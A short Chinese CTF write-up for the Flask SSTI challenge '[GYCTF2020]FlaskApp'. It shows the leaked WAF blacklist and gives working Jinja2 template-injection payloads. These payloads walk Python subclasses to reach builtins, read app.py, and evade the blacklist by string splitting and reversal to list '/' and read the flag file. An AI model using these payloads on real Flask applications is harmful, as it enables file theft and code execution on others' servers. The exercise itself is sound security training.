[GYCTF2020]FlaskApp

进入网站

没有sql

试了试,填入123,报错

发现部分源码泄露

if waf(tmp) 表明这里有waf

可以使用ssti注入

在加密页面加密

{{4+5}}

得到

e3s0KzV9fQ== 

再拿到解密页面判断是否有ssti注入

结果看到为9,说明成功注入

尝试config

playload:{{config}}

试着读取源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

可以利用字符串拼接,来绕过黑名单

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

可以找到结果中有this_is_the_flag文件

读文件也是可以字符串拼接来绕过

{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

posted @ 2021-08-16 00:02  凇岳  阅读(99)  评论(0)    收藏  举报